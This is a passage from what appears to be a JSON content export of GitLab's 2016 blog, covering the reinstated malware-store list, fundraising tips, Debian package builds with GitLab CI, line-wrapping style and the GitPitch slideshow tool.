Oohlala","en-us/blog/gitlab-ci-oohlala.yml","en-us/blog/gitlab-ci-oohlala",{"_path":37211,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37212,"content":37216,"config":37220,"_id":37222,"_type":16,"title":37223,"_source":17,"_file":37224,"_stem":37225,"_extension":20},"/en-us/blog/gitlab-reinstates-list-of-servers-that-have-malware",{"title":37213,"description":37213,"ogTitle":37213,"ogDescription":37213,"noIndex":6,"ogImage":12013,"ogUrl":37214,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37214,"schema":37215},"GitLab reinstates list of servers that have malware","https://about.gitlab.com/blog/gitlab-reinstates-list-of-servers-that-have-malware","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab reinstates list of servers that have malware\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2016-10-15\",\n      }",{"title":37213,"description":37213,"authors":37217,"heroImage":12013,"date":37218,"body":37219,"category":299},[3532],"2016-10-15","\n\nWillem de Groot published a list of web stores that contain malware.\nHe first hosted this list on GitHub but it was deleted.\nThen he hosted it on GitLab where it was also deleted.\nThe reason we gave him for the deletion was \"GitLab views the exposure of the vulnerable systems as egregious and will not abide it.\".\nWillem wrote about his experience in a blog post.\n\nAt GitLab we strongly believe in responsible disclosure, for examples of this see [our policy](/security/disclosure/) or [Hacker One's guidelines](https://hackerone.com/disclosure-guidelines).\nSo publishing a list of servers that are vulnerable or hacked without contacting the owner first and giving them time to remedy the situation is not OK.\n\nBut in this case the victim of the vulnerability is not only the owner but also the users of the web store.\nThe owners of web stores have a responsibility to their users.\nAnd it is in the users interest to have the list published so owners [fix their stores](https://twitter.com/gwillem/status/786908740838682624).\nWe currently think that the interest of the user weights heavier.\nTherefore we reinstated the snippet.\n\nWillem just [tweeted about my phone call to him to apologise](https://twitter.com/gwillem/status/787379789011251200). Thanks for that!\n\nWe applaud Willem's effort to protect users from malware.\nWe'll keep listening and will do our part to make the internet a more secure place for everyone.\n",{"slug":37221,"featured":6,"template":678},"gitlab-reinstates-list-of-servers-that-have-malware","content:en-us:blog:gitlab-reinstates-list-of-servers-that-have-malware.yml","Gitlab Reinstates List Of Servers That Have Malware","en-us/blog/gitlab-reinstates-list-of-servers-that-have-malware.yml","en-us/blog/gitlab-reinstates-list-of-servers-that-have-malware",{"_path":37227,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37228,"content":37234,"config":37238,"_id":37240,"_type":16,"title":37241,"_source":17,"_file":37242,"_stem":37243,"_extension":20},"/en-us/blog/fundraising-tips-ceo",{"title":37229,"description":37230,"ogTitle":37229,"ogDescription":37230,"noIndex":6,"ogImage":37231,"ogUrl":37232,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37232,"schema":37233},"30 Fundraising Tips from the CEO","30 fundraising tips from GitLab CEO Sid Sijbrandij","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683779/Blog/Hero%20Images/fundraising-tips-ceo.jpg","https://about.gitlab.com/blog/fundraising-tips-ceo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"30 Fundraising Tips from the CEO\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2016-10-14\",\n      }",{"title":37229,"description":37230,"authors":37235,"heroImage":37231,"date":37236,"body":37237,"category":8943},[3532],"2016-10-14","\n\n\nHow do you raise money for your startup in a climate where it’s increasingly hard to obtain funding? \nSecuring support from the right investors is not only a vital source of money, but is also an \nopportunity to benefit from their skills, experience, and connections.\n\nThis post outlines the strategies that have worked for us. Of course, every organization is unique, \nso these are the tips that have been most beneficial in our own quest to raise funding at GitLab.\n\n\u003C!-- more --> \n\n## When Is the Best Time to Raise Money?\n\n1. **Eight quarters of run rate is the best time to raise money for your organization.** This gives you sufficient time to spend as long as you need to plan the deck and meet investors without feeling like time is running out. It means that if you are offered a deal you don’t like, you don’t have to accept it. You have the time to step back from fundraising, get back to stockflow neutral, and not be forced to lay off any employees.\n\n1. **Make sure that you have a lot of runway.** This is indicative of how conservative you are financially, so investors will be looking closely at this. You can achieve this by fundraising early. Another strategy is to make sure that your net worth compared to your revenue is low. Don’t make your burn equal to half of your revenue, make it equal to 20% or even 10%.\n\n## Organize Your Time Efficiently\n\n1. **Surround yourself with a great team.** Fundraising requires hours of work from everyone in the group. Make sure you can work effectively with everyone on the team and that you will enjoy spending significant amounts of time together!\n\n1. **Set aside around three or four months for the fundraising process.** When we went through our first round of fundraising at GitLab, we spent one month on the design phase, one month on the road, two weeks wrapping up with the people that had term sheets, and then one month closing. But, this is extremely fast—most organizations take longer to raise funding. The time consuming element for most organizations is meeting with investors. [Some companies can raise funding in just a few weeks, for others it takes months][fundraising-article]. It’s always best to be prepared for the process to take longer than you expect.\n\n1. **As a CEO, you should be prepared to focus solely on fundraising.** There will not be enough time to run the company as well as raise funding. Hire an assistant to prioritize emails and direct your attention towards urgent messages.\n\n1. **Try to minimize the amount of time you spend traveling to investors.** This stage can easily last anywhere between three to six months. At GitLab, we decided to spend only four weeks as we wanted to focus on progressing the company, rather than fundraising. This approach to travel is much better for the team’s quality of life because fundraising is very intense. There are a lot of ups and downs, where you can be ecstatic one day because you are connecting with one investor, and frustrated the next day because you have been turned down by another investor. Confining the traveling stage to a relatively short period of time worked best for us.\n\n## Put Together the Perfect Slidedeck \n\n1. **Make the deck the sole focus of one team member.** Although content is vital, good design is equally important. Spend some time with designers, whether they work for your company, or whether they are employed by an organization like SketchDeck. The right design will help to clarify and strengthen your message.\n\n1. **Spend time working on the pricing chart.** Your pricing chart should be sufficiently detailed and include the relevant information, but the investors have to be able to understand it!\n\n1. **Over the course of fundraising, your deck will evolve.** Although you have spent weeks perfecting it and believe it to be a finished product by the time you go out onto the road, you will find that there’s more to add. As you speak to investors, issues are raised that you may not have addressed in sufficient detail, or questions are asked that you might not have considered. It will be necessary to add more slides as you learn more about investors’ interests, expectations, and concerns.\n\n1. **If you have an unusual business model, discuss it in your slidedeck.** Investors will ask lots of questions about it, so you want to give them as much information as possible, and ensure they see the advantages of your choice. When we were fundraising, some investors were concerned about our decision to be a remote-only company. Mid-way through fundraising, we wrote a presentation to provide them with information on why being a remote-only organization works so well for us.\n\n1. **Don’t include too many slides in the deck.** There is no hard and fast rule, but [between 10 and 20 slides][slide-tips] will enable you to strike a balance between informing the investors and sharing an overwhelming level of detail. The pitch is your chance to tell investors everything they need to know about your organization, your product and customers, financials, and projections. It’s an opportunity to get them excited and allay any fears they may have.\n\n1. **If you get useful feedback, use it.** It doesn’t matter how late in the process you receive it, take the time to incorporate feedback into your fundraising strategy if you feel that it could make a real difference to the funding you secure.\n\n1. **Be prepared for the deck to change from series A to series B.** In series B, there will need to be a lot of data relating to sales figures, as the investors will be very interested in this. You will need to share details of the funnel, and where the sales team is meeting its targets. In general there should be less strategy, as you should have consolidated your place in the market by the time you reach this stage.\n\n## Preparing for Meetings and Follow Ups\n\n1. **Turn on the TV!** If you really want to know what life is like when you’re in the fundraising bubble, watch Silicon Valley! (But when it comes to the show’s portrayal of investors, just remember that it is a TV show and certain aspects may be amplified!)\n\n1. **Check the time.** When you are preparing for meetings and follow-ups, make sure you are always on time.\n\n1. **Dress code is not important.** What matters is what you say during the meetings and follow-ups.\n\n1. **Don’t go hungry!** Eat something before going into a meeting, especially if you know you don’t perform well when you’re hungry!\n\n1. **Have some backup slides for your deck.** We found it useful to create a slide that listed questions we did not yet have an answer for; after the meeting we could find the answer, then follow-up with the investor and add it to the slidedeck for future presentations if we felt it would be helpful. When you’re preparing your slidedeck, there will always be content that you’re not certain will be required, but could still be informative for the investor; these slides should go in the backup set. If and when you need the information, you can switch to that slide easily.\n\n1. **It can be hard to keep the meeting on track.** The investors will start asking questions based on the content in your slidedeck. It is possible to skip ahead to the relevant slide, then go back to resume the presentation, but this can get confusing and you will lose the flow of the presentation. It is best to acknowledge the investor’s question and let them know that this will be dealt with later in the slidedeck.\n\n1. **There should be someone on your team who is not presenting.** Their role is to write down the questions, so you can follow up after the meeting. If possible or relevant, add this information to your presentation.\n\n1. **Keep a list of when you last spoke to each investor.** If they are silent for a few days, then it’s important to follow up to find out why. If they don’t respond to your first message, ask if they are still interested in potentially investing in your organization. There are generally three reasons behind this: \n  - They are not interested \n  - They may have been too busy to reply, but are still interested \n  - They are keeping their options open. Whatever the reason, you need to find out so you know who you should focus your attention on.\n1. **Ask permission from the venture capitalists to record one of your pitches.** There is a lot of mystery surrounding what goes on in a pitch—this is your chance to help others.\n\n## Familiarize Yourself with Financial Terminology\n\n1. **Prorata rights.** Prorata rights can be one of the most contentious aspects of investment, so make sure you understand it. Any lead investor will want a certain percentage of your company. For the A round it’s usually around 20%, for B round it’s 15%, and for C round it’s 10%. They need that much of the company to make it worth their time and effort investing. \n\n   Prorata investment rights allow investors the right to keep their percentage of their share of the company the same when you start the next fundraising round. During the second (or third) fundraising round, all existing shareholders get diluted; these investors can invest more money so they maintain the same percentage. This is what it means when you hear about investors ‘doing their prorata’. Super prorata is what happens if the investors want to increase their ownership percentage in the next round. If you would like to learn more on prorata, [this post][prorata-rights] is helpful.\n\n1. **Super prorata rights are not founder-friendly.** Firstly, what do we mean by ‘founder-friendly’? These are terms that do not give too much leverage to the investors. Instead, the CEO will be given the freedom to make decisions. If an investor asks to use super prorata rights, they want to increase their percentage ownership in the next funding round. This is not founder-friendly because it might make it difficult for you to secure funding from new investors, as there isn’t a significant percentage of the company left for them to invest in.\n\n## How to Find the Right Investor and / or Boardmember\n\n1. **Ask yourself whether a potential investor is the right fit for your board of directors.** If someone is prepared to invest in your organization, that is extremely flattering, but it important to consider whether they believe in your vision and whether they can help you meet the challenges ahead.\n\n1. **It isn’t easy to raise money in an economic climate where less investors are keen to invest.** But, whatever the climate, you will be valued on more than 10 or 20 eighths of your sales - this is to your advantage, as it means that you can give clearly demonstrate your company’s success and potential. Market forces (such as what similar deals are being priced at, the competitors in your sector and how your company is different) will affect the valuation of your company. You can’t change this, but you can control how you present your own organization to investors.\n\n1. **Show investors that you have disrupted the market.** Being the market leader is good, and certainly what you must aspire to be, but as a startup it is not always possible. You want to demonstrate to investors that you are innovative, you have the drive to make your organization the best, that you have a better strategy, and, ultimately, the best product.\n\n1. **The right investor is more important for your company than the valuation.** That’s not to say the valuation of your organization isn’t important, but it’s important that you don’t miss out on the best possible investor who has great connections and a wealth of knowledge, for a relatively small sum of money.\n\n1. **Know what you’re looking for in a board member.** As well as acquiring some funding for your company, another reason for fundraising is to find a great board member. You have to be able to work well with your board member because you will be working together for many years to come. They have to be intelligent, ethical, hardworking, and well connected in the industry. Many times, a board member will be used to close somebody who is considering joining the company. Their strategic outlook and understanding of your industry will give you confidence in their abilities to be a real asset to your organization.\n\n1. **Know the difference between what round A and round B investors are looking for.** Round A investors will be looking at your prototype, traction, and management team. Their terms will be more founder-friendly, as they know that subsequent terms will be increasingly investor-friendly. In the B round of fundraising, investors will be scrutinizing your metrics, sales, and conversion rate will be scrutinized. \n\nA good series B investor will reach out to the existing board members. They will also want to know whether the A round investors will take advantage of their prorata. The terms of investment for the B round will not only have to be acceptable to the company, but also the investors, so make sure your current investors are happy with these.\n\nIf you have any insights on fundraising, share them with the GitLab community. Start the discussion below.\n\n\u003C!-- identifiers --> \n\n[fundraising-article]: http://a16z.com/2015/02/27/16-common-questions-about-fundraising/\n[slide-tips]: http://slidebean.com/blog/startups/pitch-deck-presentation-complete-guide/\n[prorate-rights]: https://bothsidesofthetable.com/what-all-entrepreneurs-need-to-know-about-prorata-rights-e5883fd21f80#.r5eot3b5l\n[prorata-rights]: https://bothsidesofthetable.com/what-all-entrepreneurs-need-to-know-about-prorata-rights-e5883fd21f80#.66fpdinl3\n",{"slug":37239,"featured":6,"template":678},"fundraising-tips-ceo","content:en-us:blog:fundraising-tips-ceo.yml","Fundraising Tips Ceo","en-us/blog/fundraising-tips-ceo.yml","en-us/blog/fundraising-tips-ceo",{"_path":37245,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37246,"content":37252,"config":37257,"_id":37259,"_type":16,"title":37260,"_source":17,"_file":37261,"_stem":37262,"_extension":20},"/en-us/blog/automated-debian-package-build-with-gitlab-ci",{"title":37247,"description":37248,"ogTitle":37247,"ogDescription":37248,"noIndex":6,"ogImage":37249,"ogUrl":37250,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37250,"schema":37251},"Automated Debian Package Build with GitLab CI","Continuous Deployment with GitLab: how to build and deploy a Debian Package with GitLab CI","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684154/Blog/Hero%20Images/adfinis-sygroup-cover.png","https://about.gitlab.com/blog/automated-debian-package-build-with-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automated Debian Package Build with GitLab CI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Adfinis SyGroup\"}],\n        \"datePublished\": \"2016-10-12\",\n      }",{"title":37247,"description":37248,"authors":37253,"heroImage":37249,"date":37255,"body":37256,"category":734},[37254],"Adfinis SyGroup","2016-10-12","\n\nThis post is a customer story by [Adfinis SyGroup][adf].\n{:.note}\n\nWe've decided to use [GitLab CI][ci] to build Debian packages\nautomatically. GitLab CI allows users to execute tasks based\non definable events, such as Git tags.\n\nWe've created a generic Docker container which contains the base\npackage-building tools and is used by GitLab to build the package.\nUpdates can be easily installed in the build environment, since the\nDocker container can be simply replaced with a new one.\n\nThe following shows the automated packaging of the [GoAccess] log\nanalysis tool. Many tools are not packaged in their latest version\nand thus have to be created manually.\n\n\u003C!-- more -->\n\n## Prepare the Debian Package\n\nFirst, the files which control the building of the Debian package\nare created. In the case of GoAccess, these are:\n\n```shell\ndebian/changelog # Changes to the package and software  \ndebian/compat    # Compatibility level for debhelper  \ndebian/control   # Package-specific information such as dependencies and description  \ndebian/rules     # Instructions for debhelper \n```\n\nDebian themselves already offer [detailed documentations][debian-doc]\nto simplify the introduction to packaging.\n\n## Prepare the Docker Container\n\nOn a host system, a container must be prepared in which a package can\nthen be built. Start by creating a `Dockerfile`:\n\n```dockerfile\nFROM debian:wheezy  \nADD  setup.sh /opt/  \nRUN  /bin/bash /opt/setup.sh  \n```\n\nIn the `Dockerfile` ([official documentation][dockerfile-doc]) is indicated\nwhich base image is to be used. In this case, it's Debian Wheezy. After\nthat, the `setup.sh` script is copied into the `/opt/` directory of the container. \nIn `setup.sh`, the mirror which is going to be used is configured, and\nthe most basic dependencies are installed, which can be used in any build:\n\n\n```shell\n#!/bin/sh\n\n# change to our own mirror\necho \"deb http://pkg.adfinis-sygroup.ch/debian/ wheezy main non-free contrib\" > /etc/apt/sources.list  \necho \"deb http://security.debian.org/ wheezy/updates main\" >> /etc/apt/sources.list  \necho \"deb http://pkg.adfinis-sygroup.ch/debian/ wheezy-updates main contrib non-free\" >> /etc/apt/sources.list\n\n# requirements\napt-get update  \napt-get -y install git dh-make build-essential autoconf autotools-dev  \n```\n\nAs soon as these files have been prepared, we can build the Docker container:\n\n```shell\ndocker build -t generic-package-build-runner:v1 \n```\n\nThe container is now created and ready for use.\n\n## Configure GitLab CI\n\nNow, the prepared Docker container has to be [registered for the\ncurrent project][ci-docker-registry], in which a package is to be built:\n\n```shell\ngitlab-ci-multi-runner register \\\n--non-interactive \\\n--url \"$(GITLAB_URL)\" \\\n--registration-token \"$(CI_TOKEN)\" \\\n--description \"Generic debian wheezy package build runner\" \\\n--executor \"docker\" \\\n--docker-image \"generic-package-build-runner:v1\"\n```\n\nThe GitLab URL and the CI token can be found in the GitLab\nproject on the page **Settings** > **Runners**. Each project has its own CI token.\n\nIn order for GitLab CI to know which commands in the container\nshould be executed, [the file `.gitlab-ci.yml`][ci-doc] is created within the repository.\n\n```yaml\n# Is performed before the scripts in the stages step\nbefore_script:  \n  - source /etc/profile\n\n# Defines stages which are to be executed\nstages:  \n  - build\n\n# Stage \"build\"\nrun-build:  \n  stage: build\n  script:\n    - apt-get install -y libncurses5-dev libglib2.0-dev libgeoip-dev libtokyocabinet-dev zlib1g-dev libncursesw5-dev libbz2-dev\n    - autoreconf -fvi\n    - cp COPYING debian/copyright\n    - dpkg-buildpackage -us -uc\n    - mkdir build\n    - mv ../goaccess*.deb build/\n\n  # This stage is only executed for new tags\n  only:\n    - tags\n\n  # The files which are to be made available in GitLab\n  artifacts:\n    paths:\n      - build/*\n```\n\nThe most important part of this file is the `run-build` stage.\nThis part defines which actions are executed, when they are\nexecuted and the locations of the files created in the build.\n\nSince a generic Docker container was created, the necessary\ndependencies have to be installed in the first step.\n\nAfter that, the building procedure is prepared with `autoreconf`.\nAmong other things, this results in the creation of the Makefile,\nwhich is indispensable for the build. Since we're using the copyright\nfrom the package, we'll copy it to `debian/`.\n\nThe building process is then started with the command `dpkg-buildpackage`.\nThe package is compiled and the Debian package is created. These packages\nare then moved to the `build` directory that was created and uploaded to GitLab.\n\n## Workflow\n\nAs soon as we have a new release, a Git tag is created. This Git tag\nstarts a new build in GitLab, which builds the package using the latest version.\nThe package that is created will then be made available in the web\ninterface of GitLab, where it can be downloaded. \n\n![Build Debian Package with GitLab CI](https://about.gitlab.com/images/blogimages/automated-debian-package-build-with-gitlab-ci/gitlab-ci-build.png){:.shadow}\n\n## Outlook\n\nIdeally, the packages or artifacts built should be processed automatically,\nfor example by uploading them to a mirror. In our case, we're using a\nbot which, when instructed by a [GitLab Webhook][webhooks-doc], downloads the artifacts\nonto a target server, adds them to a Aptly repository and publishes the\nrepository, such that the process can be [fully automated from package\nbuild to publication][gitlab-cd]. The final result can be freely viewed on our Aptly mirror.\n\n",{"slug":37258,"featured":6,"template":678},"automated-debian-package-build-with-gitlab-ci","content:en-us:blog:automated-debian-package-build-with-gitlab-ci.yml","Automated Debian Package Build With Gitlab Ci","en-us/blog/automated-debian-package-build-with-gitlab-ci.yml","en-us/blog/automated-debian-package-build-with-gitlab-ci",{"_path":37264,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37265,"content":37271,"config":37275,"_id":37277,"_type":16,"title":37278,"_source":17,"_file":37279,"_stem":37280,"_extension":20},"/en-us/blog/wrapping-text",{"title":37266,"description":37267,"ogTitle":37266,"ogDescription":37267,"noIndex":6,"ogImage":37268,"ogUrl":37269,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37269,"schema":37270},"To Wrap or Not to Wrap: One of Life's Greatest Questions","Breaking lines: useful or painful?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683906/Blog/Hero%20Images/wrap-not-to-wrap-text.png","https://about.gitlab.com/blog/wrapping-text","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"To Wrap or Not to Wrap: One of Life's Greatest Questions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Marcia Ramos\"}],\n        \"datePublished\": \"2016-10-11\",\n      }",{"title":37266,"description":37267,"authors":37272,"heroImage":37268,"date":37273,"body":37274,"category":734},[34953],"2016-10-11","\n\nWhether and how we should be making line breaks is currently a\ncontroversial topic amongst the GitLab folks;\nit's an issue of style as well as ease of use.\nIn this post, we’re presenting the two current views held, and \ngiving you the opportunity to speak your mind\n(in the comments or [on Twitter][twitter]) about how we should\nhandle this in our [style guide][style-guide].\n \nThe current policy laid out in the style guide is that you should:\n\n> _Split up long lines, this makes it much easier to review and edit.\nOnly double line breaks are shown as a full line break in\n[GitLab markdown][markdown]. 80-100 characters is a good line length._\n\n\u003C!-- more -->\n\nThe understanding is that you if you create a line break after\n80 characters, the text becomes easier to review.\n\nHowever, quite a few people feel that this isn't helpful\nand creates stylistic and/or visual messiness when,\nfor example, edits are made which cause the line breaks to go amok.\nBasically, there are two options if your line exceeds 80 characters:\n\n1. Wrap the text as the author of the code.\n1. Rely on the reviewer to wrap the text with their\nlocal editor, and insert a new line for every sentence.\n\n## DON'T WRAP IT.\n\nSome of us at GitLab are in the don’t-wrap camp, positioning\nthat it’s better to rely on the reviewer. If you modify text,\nyou don’t want to have to realign the rest of the text when\nedits are made because the line breaks are uneven. Rewrapping\nrequires a feature that some editors (including GitLab)\ndon’t have. Some people might have it but not know they\nhave it, or not know where to find it in their editor.\nIf you do rewrap with your editor, the diff might get messy\nand make it hard to work out what's visually changed.\nPlus, that 80- to 100-character limit is more of a guess\nthan an exact limit. It can be different depending on your\neditor/screen size.\n\nThis is how a paragraph looks like after a few reviews when\nyou choose to wrap the text. It's odd, as it has long lines\nand short lines distributed unevenly:\n\n![wrapped text - uneven view](https://about.gitlab.com/images/blogimages/wrapping-text/wrapped-text-after-reviews.png){:.shadow}\n\nHowever, when you don't wrap it, a collaborator needs to\npoint to the portion of the text before explaining the change,\nwhich can be very time consuming. For example, in the paragraph\nbelow, the collaborator needs to identify the link first, and\nrepeat the section with the proposed changes:\n\n![change link - non-wrapped text](https://about.gitlab.com/images/blogimages/wrapping-text/unwrapped-text-worse-to-review.png){:.shadow}\n\n## DO WRAP IT.\n\nThe company's official position is of the _do-wrap variety_,\nwith the main reason that when people view and edit the text,\nthey can do so without scrolling horizontally _ad infinitum_,\nwhich drives some people nuts. As a result, the comment \nbox sometimes extends beyond the edge of the viewport, making\nit difficult to use any of the buttons on the right-hand side.\n\nTo compare to the last example, the following screenshot\nof a text already wrapped, it's easy to comment inline directly,\nwithout having to identify what you're talking about first\nand commenting afterwards.\n\n![change link - wrapped text](https://about.gitlab.com/images/blogimages/wrapping-text/wrapped-text-easier-to-review.png){:.shadow}\n\n## Comparing Similar Views\n\nWhen editing a file in the GitLab UI, this is how wrapped text\nlooks like:\n\n![wrapped text, GitLab UI view](https://about.gitlab.com/images/blogimages/wrapping-text/gitlab-ui-wrapped-text.png){:.shadow}\n\nAnd this is how an unwrapped code looks like:\n\n![non-wrapped text, GitLab UI view](https://about.gitlab.com/images/blogimages/wrapping-text/gitlab-ui-non-wrapped-text.png){:.shadow}\n\nEven when you're reviewing locally, check how a wrapped\ntext looks like on Sublime:\n\n![Sublime text view - wrapped](https://about.gitlab.com/images/blogimages/wrapping-text/wrapped-text-easier-to-read.png){:.shadow}\n\nAnd how it looks when unwrapped:\n\n![Sublime text view - non-wrapped](https://about.gitlab.com/images/blogimages/wrapping-text/unwrapped-text-scroll-horizontally.png){:.shadow}\n\nClearly, wrapped text can be considered better for both reading\nand reviewing through inline comments. But it can also be annoying\nwhen writing and editing the file.\n\n## Going forward\n\nParticularly, while I'm writing, I don't wrap the text. I'll\ndo that just when it's ready for review. This way, I save myself\nsome time when writing and editing, but I still leave it wrapped\nfor facilitating the reviewers to add inline comments in my\nmerge request.\n\nBut yes, there are pros and cons for both cases, of course. The\nquestion is, what can we do to make it less painful for everyone?\n\nOne of the possible actions we could take going forward is to set\na max-width both on the comment box container, and on the editor,\nso that it remains in a usable state, regardless of code length.\n\nOther ideas? We’re open to them. Let us know what you think, and\nhow you do that with your team.\n\n**Note**: Currently for blog post technical articles we follow the\nStyle Guide, but the [Blog Post Style Guide][blog-style-guide] is\nan override or addendum to that. The consensus has been that wrapped\ntext facilitates review. We have a lot of guest writers and many\nreviewers, and this seems to be their preference, so we’ve tried\nto honor that.\n{:.note}\n\n\u003C!-- identifiers -->\n\n[markdown]: https://docs.gitlab.com/ee/user/markdown.html\n[sid-twitter]: https://twitter.com/sytses\n[style-guide]: https://docs.gitlab.com/ee/development/documentation/styleguide/#text\n[twitter]: https://twitter.com/gitlab\n[blog-style-guide]: /handbook/marketing/blog/#styles-guidelines\n",{"slug":37276,"featured":6,"template":678},"wrapping-text","content:en-us:blog:wrapping-text.yml","Wrapping Text","en-us/blog/wrapping-text.yml","en-us/blog/wrapping-text",{"_path":37282,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":37283,"content":37288,"config":37293,"_id":37295,"_type":16,"title":37296,"_source":17,"_file":37297,"_stem":37298,"_extension":20},"/en-us/blog/gitpitch-slideshow-presentations-for-developers-on-gitlab",{"title":37284,"description":37285,"ogTitle":37284,"ogDescription":37285,"noIndex":6,"ogImage":36441,"ogUrl":37286,"ogSiteName":1180,"ogType":1181,"canonicalUrls":37286,"schema":37287},"GitPitch Slideshow Presentations for Developers on GitLab","Learn how PITCHME.md can help you present your ideas and code to any audience.","https://about.gitlab.com/blog/gitpitch-slideshow-presentations-for-developers-on-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitPitch Slideshow Presentations for Developers on GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David Russell\"}],\n        \"datePublished\": \"2016-10-03\",\n      }",{"title":37284,"description":37285,"authors":37289,"heroImage":36441,"date":37291,"body":37292,"category":813},[37290],"David Russell","2016-10-03","\n\nToday I would like to introduce [GitPitch](https://gitpitch.com), a slideshow presentation service for developers on [GitLab]().\nGitPitch supports building, sharing, and presenting online and offline slideshow presentations. Presentations powered entirely by Markdown and Git.\n\n\u003C!-- more -->\n\nAs developers and advocates, we often need to communicate with diverse audiences about our code.\nWe find ourselves needing to present everything from designs and best practices, to code snippets and complete frameworks.\nOur audiences include colleagues, clients, customers, end-users, and sometimes meetups and conferences.\n\nWith GitPitch, we no longer need to turn to external toolsets like Keynote or Powerpoint to prepare for these kinds of presentations.\nIn fact, now the only tools we need are the tools we live in, our preferred code editor and a GitLab repo.\nAnd with these tools we can quickly create compelling, responsive, online and offline slideshow presentations.\n\n![Slideshow-Master](https://about.gitlab.com/images/blogimages/gitpitch-slideshow-presentations-for-developers-on-gitlab/slideshow-master.jpg){: .shadow}\n\n## How GitPitch Works\n\nAs GitLab users, we are already familiar with the convention of adding a **README.md** to our projects.\nGitPitch introduces a new convention for GitLab users, called **PITCHME.md**.\n\nAs soon as we add a **PITCHME.md** markdown file to the root directory of our GitLab.com project, GitPitch instantly creates an online slideshow presentation based on the content in that file.\nThat slideshow presentation is then automatically made available at its public URL:\n\n```\nhttps://gitpitch.com/user/project/branch?grs=gitlab\n```\n\nHere `user` and `project` matches our GitLab.com user and project names respectively and `branch` matches the repository branch where we committed our **PITCHME.md** file.\nNote, the `/branch` can be omitted from the slideshow URL if we are referencing the `master` branch.\n\n## GitPitch In 60 Seconds\n\nTo experience just how simple it is to create a GitPitch slideshow presentation follow along with this short tutorial.\n\n### Step 1: Create **PITCHME.md**\n\nUsing the [GitLab web editor](https://gitlab.com/help/user/project/repository/web_editor.md), or your preferred code editor, create a file called **PITCHME.md** in the root directory of your repo, then add and save the following Markdown content:\n\n```\n# Flux\n\nAn application architecture for React\n\n#HSLIDE\n\n### Flux Design\n\n- Dispatcher: Manages Data Flow\n- Stores: Handle State & Logic\n- Views: Render Data via React\n\n#HSLIDE\n\n![Flux Explained](https://facebook.github.io/flux/img/flux-simple-f8-diagram-explained-1300w.png)\n```\n\nBefore moving on to the next step it's worthwhile to note the following:\n\n1. The **PITCHME.md** file name is case sensitive.\n1. The **PITCHME.md** file content is [standard Markdown](https://daringfireball.net/projects/markdown/syntax).\n1. The `#HSLIDE` markdown fragment acts as a delimiter between slides.\n\nUsing `#HSLIDE` is another GitPitch convention, acting as a delimiter to denote the separation between content on different slides in your presentation.\nYou can use [custom delimiters](https://github.com/gitpitch/gitpitch/wiki/Custom-Slide-Delimiters) if you prefer.\nFor this example, when GitPitch processes the Markdown content it will result in a simple presentation with just three slides.\n\n\n### Step 2: Commit **PITCHME.md**\n\nIf you used the GitLab web editor in step 1 then go directly to step 3.\nOtherwise, manually add this file to the root directory of your Git repo and push to GitLab:\n\n```\ngit add PITCHME.md\ngit commit -m \"Added my first GitPitch slideshow content.\"\ngit push\n```\n\n### Step 3: Done!\n\nYour GitPitch slideshow presentation is now waiting for you to share or present at its public URL.\nTo see a live demonstration of this slideshow presentation [click here](https://gitpitch.com/gitpitch/in-60-seconds?grs=gitlab).\nYour own presentation should look a lot like this:\n\n![Slideshow-In-60-Seconds](https://about.gitlab.com/images/blogimages/gitpitch-slideshow-presentations-for-developers-on-gitlab/slideshow-in-60-seconds.jpg){: .shadow}\n\nImmediately you can [download](https://github.com/gitpitch/gitpitch/wiki/Slideshow-Offline) your slideshow for offline presentation, [print](https://github.com/gitpitch/gitpitch/wiki/Slideshow-Printing) it as a PDF document, or [share](https://github.com/gitpitch/gitpitch/wiki/Slideshow-Sharing) it on social media.\nBut first, you might want to apply some personal touches using GitPitch customization, the topic we'll look at next.\n\nNote that beyond support for standard Markdown on presentation slides, GitPitch delivers a number of features tailored for developers, including support for [code blocks](https://github.com/gitpitch/gitpitch/wiki/Code-Slides), [GitHub GIST](https://github.com/gitpitch/gitpitch/wiki/GIST-Slides), [math formulas](https://github.com/gitpitch/gitpitch/wiki/Math-Notation-Slides) along with [image](https://github.com/gitpitch/gitpitch/wiki/Image-Slides), and [video](https://github.com/gitpitch/gitpitch/wiki/Video-Slides) support.\nThe full set of GitPitch features are documented on the [GitPitch Wiki](https://github.com/gitpitch/gitpitch/wiki).\nTo see a live slideshow demonstration of these features try out the GitPitch [Kitchen Sink](https://gitpitch.com/gitpitch/kitchen-sink?grs=gitlab).\n\n\n## GitPitch Customization\n\n\nAs with any presentation, a GitPitch presentation not only needs to capture and render compelling content, it also needs to be able to reflect the style, image or brand of the associated project, product or organization.\nTo help us develop a strong visual identity for our slideshow presentations, GitPitch offers six distinct visual themes out-of-the-box.\nSee the [GitPitch Themes](https://github.com/gitpitch/gitpitch/wiki/Theme-Setting) Wiki page to learn more.\n\n![Slideshow-Night-Theme](https://about.gitlab.com/images/blogimages/gitpitch-slideshow-presentations-for-developers-on-gitlab/slideshow-night-theme.jpg){: .shadow}\n\nBuilding on these base themes we can further [customize the look and 